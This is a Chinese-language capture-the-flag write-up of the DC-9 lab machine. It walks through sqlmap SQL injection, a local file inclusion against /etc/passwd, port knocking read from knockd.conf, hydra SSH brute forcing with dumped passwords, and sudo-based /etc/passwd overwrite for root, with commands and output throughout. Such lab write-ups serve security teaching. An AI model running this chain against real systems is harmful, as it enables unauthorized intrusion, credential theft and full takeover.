本文由掌控安全学院 - 杳若 投稿
总结
getwebshell
: 发现SQL
注入 → 登录系统 → 疑似文件包含
→ FUZZ
参数 → 文件包含读取守护程序 → 敲击打开SSH
端口 → 利用泄露账号密码登录
提 权 思 路
: 发现3个用户 → 登录获取密码字典 → 再次爆破获取第4个用户 → sudo
文件发现 → 存在root
权限写入功能 → passwd
覆盖提权
准备工作
- 启动VPN
获取攻击机IP →192.168.45.192
- 启动靶机
获取目标机器IP →192.168.178.209
信息收集-端口扫描
目标开放端口收集
- Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap
--
min
-
rate
10000
-
p
-
192.168
.
178.209
PORT STATE SERVICE
22
/
tcp filtered ssh
80
/
tcp open http
开放的端口->80
过滤的端口->22
当端口被列为“被过滤”时,意味着该端口被防火墙或网络设备阻止或过滤。这可能是有意的,例如用作防止未经授权访问的安全措施,也可能是由于网络配置错误或连接问题而无意的。
在这种情况下,端口
22
被过滤,因此可能无法使用该端口建立到目标设备的
SSH
连接。
目标端口对应服务探测
# tcp探测
sudo nmap
-
sT
-
sV
-
O
-
sC
-
p22
,
80
192.168
.
178.209
PORT STATE SERVICE VERSION
22
/
tcp closed ssh
80
/
tcp open http
Apache
httpd
2.4
.
38
((
Debian
))
现在22
端口是关闭的
信息收集-端口测试
80-HTTP端口的信息收集
访问 http://192.168.178.209:80
看上去像CMS
随便戳了戳发现是php
的
信息收集-网站指纹
┌──(
root
㉿
Kali
)-[
/home/
bachang
/
DC
-
9
]
└─#
whatweb http
:
//192.168.178.209
http
:
//192.168.178.209 [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.178.209], Title[Example.com - Staff Details - Welcome]
漏洞利用-网站指纹(无)
searchsploit
Staff
Details
searchsploit
Example
.
com
信息收集-HTML隐藏信息查看
# 利用html2text转换纯文本方便查看
curl http
:
//192.168.178.209 | html2text
让我们点击其他菜单,可能是提示
信息收集-目录扫描
信息收集-目录扫描初步
dirsearch
-
u http
:
//192.168.178.209 -x 302,403,404
因为扫出了目录,深层次的扫描待选,后期可能会选择.php
的后缀扫描
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典后缀)
信息收集-目录访问
端点访问
空白
.php
可能可以fuzz
没东西
里面的按钮按了没反应,也没看到什么源码
登录端点
然后还有一个我可以点击的search
功能点的实践
之前信息收集的内容还可以深入,不过都待定
漏洞探测-nikto扫描
首先挂上一个扫描器
nikto
-
h http
:
//192.168.178.209
回过头来看发现没什么
登录端点浅浅实践
在登录端点来一手弱口令,以及万能密码发现都没用
然后因为不知道账号是啥,尝试挂着跑admin
账户的弱口令
漏洞利用-getwebshell
后台登录
搜索功能点实践-SQL注入
接下来尝试来到搜索功能点,尝试输入一个'
破坏完整性
因为搜索功能点大致会并入查询语句
尝试输入了一个'
之后发现没什么
因为sql
语句的不同,体现方法也是不一样滴
先试试正常的语句
但是Julie'
就什么都没显示,推测要注释掉后面的内容
Julie' -- qwe
显示了内容
极大可能是存在sql
注入的,使用sqlmap
POST型
在传参的地方打上*
# 基础探测
sudo sqlmap
-
u
"http://192.168.178.209/results.php"
--
data
"search=Julie*"
# 发现存在之后直接爆数据库
sudo sqlmap
-
u
"http://192.168.178.209/results.php"
--
data
"search=Julie*"
--
dbs
# 爆出数据库之后爆表(首页的关键词Staff,先看这个)
sudo sqlmap
-
u
"http://192.168.178.209/results.php"
--
data
"search=Julie*"
-
D
Staff
--
tables
# 爆字段名
sudo sqlmap
-
u
"http://192.168.178.209/results.php"
--
data
"search=Julie*"
-
D
Staff
-
T
Users
--
columns
# 爆字段中数据
sudo sqlmap
-
u
"http://192.168.178.209/results.php"
--
data
"search=Julie*"
-
D
Staff
-
T
Users
-
C
Username
,
Password
--
dump
基础探测存在
存在三个数据库,首页的关键词Staff
,先看这个,选择第二个
优先看Users
的表
存在账号以及密码的字段
得到了帐号以及密码的信息
admin
| 856f5de590ef37314e7c3bdf6f8a66dc
可以发现密码是md5
加密的格式,因为有32
位
之后我们看看另一个表,表名也挺诱惑人的
# 爆出数据库之后爆表
sudo sqlmap
-
u
"http://192.168.178.209/results.php"
--
data
"search=Julie*"
-
D users
--
tables
# 爆字段名
sudo sqlmap
-
u
"http://192.168.178.209/results.php"
--
data
"search=Julie*"
-
D users
-
T
UserDetails
--
columns
# 爆整个表
sudo sqlmap
-
u
"http://192.168.178.209/results.php"
--
data
"search=Julie*"
--
dump
-
D users
-
T
UserDetails
只有一个表UserDetails
太多了,直接一起爆吧
爆了很多密码捏
hashcat爆破密码(失败)
# 将密码输出到文件
echo
'856f5de590ef37314e7c3bdf6f8a66dc'
&
gt
;
hash
hashcat
-
m
0
-
a
0
hash
/
usr
/
share
/
wordlists
/
rockyou
.
txt
发现没爆破出来,尝试在线解密
https://www.somd5.com/
挺难受的,爆破不出来,解密出来的密码transorbital1
登录后台
利用获得的账号以及密码登录之后发现多了一个功能点
LFI利用
登录之后发现一个奇怪的地方,登陆前底下是没有的
File
does
not
exist
&
gt
;&
gt
;
文件不存在
推测该功能点的php
可以尝试fuzz
参数
暴力破解-参数名破解FUZZ1(失败)
# -u 指定URL FUZZ 暴力破解的地方 -w 指定字典 -fs 0 不限制文件大小
ffuf
-
u
'http://192.168.178.209/addrecord.php?FUZZ=../../../../../../etc/passwd'
-
w
/
usr
/
share
/
wordlists
/
dirb
/
common
.
txt
-
fs
0
&
gt
;
fuzz
.
txt
没有爆破处内容捏
curl
了一下也没有内容,我想起来是要带cookie
才行
修改一下fuff
PHPSESSID "h86ph7lej727porurqhsh072vs"
带上cookie
之后curl
就有值了
暴力破解-参数名破解FUZZ2
# -b 带cookie
ffuf
-
u
'http://192.168.178.209/addrecord.php?FUZZ=../../../../../../etc/passwd'
-
w
/
usr
/
share
/
wordlists
/
dirb
/
common
.
txt
-
b
"PHPSESSID=h86ph7lej727porurqhsh072vs"
-
fs
0
&
gt
;
fuzz
.
txt
从文件夹里面找到一个不一样的size
这样太不优雅了
┌──(
root
㉿
Kali
)-[/
home
/
bachang
/
DC
-
9
]
└─#
cat fuzz
.
txt
|
grep
-
v
1757
|
grep
Size
-
A
2
-
B
2
*
FUZZ
:
framework
[
Status
:
200
,
Size
:
4110
,
Words
:
95
,
Lines
:
108
,
Duration
:
235ms
]
|
URL
|
http
://
192.168
.
178.209
/
addrecord
.
php
?
file
=../../../../../../
etc
/
passwd
*
FUZZ
:
file
利用grep
去掉1757并且筛选最后存在的上下各两行找到了file
得到一个file
的参数,在/home
下发现了非常多的目录
联想到刚才的数据库账号密码,应该都能登22端口,但是22端口是过滤状态
文件包含利用
日志访问(失败)
一般利用方式是包含log
的内容写shell
尝试翻阅一下是否有log
日志
/
var
/
log
/
auth
.
log
# ssh登录日志
/
var
/
log
/
apache2
/
access
.
log
# apache访问日志
查看了一下,好像都没有捏
想读.ssh
来着,但是ssh
没开放
查看端口守护程序
因为存在过滤端口,从这个角度切入
因此存在过滤端口的时候可以尝试访问一下这个文件是否存在
../../../../../
etc
/
knockd
.
conf
[
options
]
UseSyslog
[
openSSH
]
sequence
=
7469
,
8475
,
9842
seq_timeout
=
25
command
=
/
sbin
/
iptables
-
I INPUT
-
s
%
IP
%
-
p tcp
--
dport
22
-
j ACCEPT
tcpflags
=
syn
[
closeSSH
]
sequence
=
9842
,
8475
,
7469
seq_timeout
=
25
command
=
/
sbin
/
iptables
-
D INPUT
-
s
%
IP
%
-
p tcp
--
dport
22
-
j ACCEPT
tcpflags
=
syn
端口过滤之敲击守护程序
如果我们按照要求依次访问7469,8475,9842
三个端口在25秒内,那么利用端口敲击守护程序ssh
端口就会打开
利用工具knock
sudo apt install knockd
knock
192.168
.
178.209
7469
8475
9842
之后访问发现ssh
端口开放了
暴力破解-SSH爆破hydra
根据数据库爆出来的内容制作user.txt
以及passwd.txt
字典
echo
'marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2'
&
gt
;
user
.
txt
echo
'3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0'
&
gt
;
passwd
.
txt
# -L 指定账号字典 -P指定密码字典
hydra
-
L user
.
txt
-
P passwd
.
txt
192.168
.
178.209
ssh
-
s
22
-
t
64
-
o main
查看了对应的main
文件看到了3个可用
[
22
][
ssh
]
host
:
192.168
.
178.209
login
:
chandlerb password
:
UrAG0D
!
[
22
][
ssh
]
host
:
192.168
.
178.209
login
:
joeyt password
:
Passw0rd
[
22
][
ssh
]
host
:
192.168
.
178.209
login
:
janitor password
:
Ilovepeepee
内网遨游-getshell
3开SSH
获取账号密码之后利用SSH进行登录(3个小时到了,换了个目标机)
sudo ssh chandlerb
<
span
class
=
"label label-primary"
>@
192.168
.
208.209
</
span
>
-
p22
password
&
gt
;
UrAG0D
!
sudo ssh joeyt
<
span
class
=
"label label-primary"
>@
192.168
.
208.209
</
span
>
-
p22
password
&
gt
;
Passw0rd
sudo ssh janitor
<
span
class
=
"label label-primary"
>@
192.168
.
208.209
</
span
>
-
p22
password
&
gt
;
Ilovepeepee
但是发现输入find
都没什么用,尝试查找内部的敏感信息
在janitor
用户下发现了不一样的东西
发现是个文件,进入
探索之后发现了新的密码文件,再写一个文件利用hyrda
爆破
echo
'BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts'
&
gt
;
passwd2
.
txt
# -L 指定账号字典 -P指定密码字典
hydra
-
L user
.
txt
-
P passwd2
.
txt
192.168
.
208.209
ssh
-
s
22
-
t
64
-
o main
通过爆破得到了新的用户密码
[
22
][
ssh
]
host
:
192.168
.
178.209
login
:
fredf password
:
B4
-
Tru3
-
001
进行ssh
连接
sudo ssh fredf
<
span
class
=
"label label-primary"
>@
192.168
.
208.209
</
span
>
-
p22
password
&
gt
;
B4
-
Tru3
-
001
FLAG1获取
输入find
命令之后发现只有fredf
是可以的
fredf
<
span
class
=
"label label-primary"
>
@dc
-
9
<
/span>:~$ find /
-
name
local
.
txt
2
&
gt
;
/dev/
null
/
home
/
fredf
/
local
.
txt
fredf
<
span
class
=
"label label-primary"
>
@dc
-
9
<
/span>:~$ cat /
home
/
fredf
/
local
.
txt
4c30c90388a4b5baa8bf21db8529bb51
权限提升
Linux提权-sudo提权
查找具有sudo
权限,且不需要密码的可提权文件
# 利用sudo -l寻找
fredf
<
span
class
=
"label label-primary"
>
@dc
-
9
</
span
>:~
$ sudo
-
l
Matching
Defaults
entries
for
fredf on dc
-
9
:
env_reset
,
mail_badpass
,
secure_path
=
/usr/
local
/
sbin:
/
usr
/
local
/
bin:
/
usr
/
sbin:
/
usr
/
bin:
/
sbin:
/
bin
User
fredf may run the following commands on dc
-
9
:
(
root
)
NOPASSWD
:
/opt/
devstuff
/
dist
/
test
/
test
只有fredf
用户是存在sudo
追踪一下这个文件
# 权限查看 (读与执行)
fredf
<
span class
=
"label label-primary"
>
@dc
-
9
</
span
>:~
$ ls
-
al
/
opt
/
devstuff
/
dist
/
test
/
test
-
rwxr
-
xr
-
x
1
root root
1212968
Dec
29
2019
/
opt
/
devstuff
/
dist
/
test
/
test
# 查看内容发现看不了
fredf
<
span class
=
"label label-primary"
>
@dc
-
9
</
span
>:~
$ cat
/
opt
/
devstuff
/
dist
/
test
/
test
尝试运行
fredf
<
span class
=
"label label-primary"
>
@dc
-
9
</
span
>:
$ cd
/
opt
/
devstuff
/
dist
/
test
fredf
<
span class
=
"label label-primary"
>
@dc
-
9
</
span
>:/
opt
/
devstuff
/
dist
/
test$
./
test
Usage
:
python test
.
py read append
fredf
<
span class
=
"label label-primary"
>
@dc
-
9
</
span
>:/
opt
/
devstuff
/
dist
/
test$ sudo
/
opt
/
devstuff
/
dist
/
test
/
test
Usage
:
python test
.
py read append
读不了,显示是读test.py
,说明使用test
应该是需要参数的
# 全局搜索
fredf
<
span class
=
"label label-primary"
>
@dc
-
9
</
span
>:/
opt
/
devstuff
/
dist
/
test$ find
/
-
name
"test.py"
2
&
gt
;/
dev
/
null
/
opt
/
devstuff
/
test
.
py
/
usr
/
lib
/
python3
/
dist
-
packages
/
setuptools
/
command
/
test
.
py
发现了两个,应该是上面那个
cat
/
opt
/
devstuff
/
test
.
py
如果传递的参数不等于3,就会输出Usage: python test.py read append
不然会读取输入第一个参数内的文件追加写入到第二个参数
#!/usr/bin/python
import
sys
if
len
(
sys
.
argv
)
!=
3
:
print
(
"Usage: python test.py read append"
)
sys
.
exit
(
1
)
else
:
f
=
open
(
sys
.
argv
[
1
],
"r"
)
output
=
(
f
.
read
())
f
=
open
(
sys
.
argv
[
2
],
"a"
)
f
.
write
(
output
)
f
.
close
()
/etc/passwd覆盖提权
既然是这样的话,那我可以自己写一个root
权限的用户进行追加覆盖
覆盖掉root的密码
# Kali机器使用openssl生成密码 -l指定生成密码
┌──(
root
㉿
Kali
)-[
/home/
bachang
/
DC
-
9
]
└─#
sudo openssl passwd
Password
:
YaoRuo
Verifying
-
Password
:
YaoRuo
$1$2Pnbp
/
rL$s7aGNIT5ndyGog5cor6N4
.
目标机器上覆盖
# 制作root权限用户 root:x:0:0:root:/root:/bin/bash
YaoRuo
:
$1$2Pnbp
/
rL$s7aGNIT5ndyGog5cor6N4
.:
0
:
0
:
root
:/
root
:/
bin
/
bash
# 写入到可写文件夹中
fredf
<
span class
=
"label label-primary"
>
@dc
-
9
</
span
>:/
opt
/
devstuff
/
dist
/
test$ echo
'YaoRuo:$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.:0:0:root:/root:/bin/bash'
&
gt
;
/
tmp
/
passwd
.
txt
# 进行覆盖
fredf
<
span class
=
"label label-primary"
>
@dc
-
9
</
span
>:/
opt
/
devstuff
/
dist
/
test$ sudo
/
opt
/
devstuff
/
dist
/
test
/
test
/
tmp
/
passwd
.
txt
/
etc
/
passwd
# 权限提升
fredf
<
span class
=
"label label-primary"
>
@dc
-
9
</
span
>:/
opt
/
devstuff
/
dist
/
test$ su
YaoRuo
Password
:
RaoYuo
root
<
span class
=
"label label-primary"
>
@dc
-
9
</
span
>:/
opt
/
devstuff
/
dist
/
test
# id
uid
=
0
(
root
)
gid
=
0
(
root
)
groups
=
0
(
root
)
提权成功
FLAG2获取
root
<
span
class
=
"label label-primary"
>
@dc
-
9
<
/span>:/
opt
/
devstuff
/
dist
/
test
# cat /root/proof.txt
e67eaee361edc9e35fc8cfe0b1ea7bd7
完结撒花~
总结
filtered
过滤端口也是值得探索的内容
可能存在端口敲击守护程序/etc/knockd.conf
传参进行fuzz
的时候还是要多试,顺便一提的是登录要记得带上cookie
端口敲击守护程序
这个内容本质上就是防止被端口扫描。从资料上看在电网这种工业级上考虑的较多。
端口扫描也是威胁
Web
安全的一种方式,服务器主机关闭不必要的端口对这一攻击有一定的作用,但是对于必须开启的端口还是存在着安全隐患,为了预防这一类网络攻击,系统采用一种“服务敲门”的方式来开启或关闭端口。
“服务敲门”也就是端口试探,它的原理类似一次约定好的秘密握手,一定时间间隔发送一定序列的
UDP
或
TCP
数据包,运行在主机上的抓包程序捕捉到之后,开启对应端口或关闭对应端口。以
22
端口为
除了使用直接利用本地安装的knockd
工具之外也可以用其他方法进行端口敲击,就是有时间限制。
例如 nmap -p[端口] [ip]
nc [ip] [端口]
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论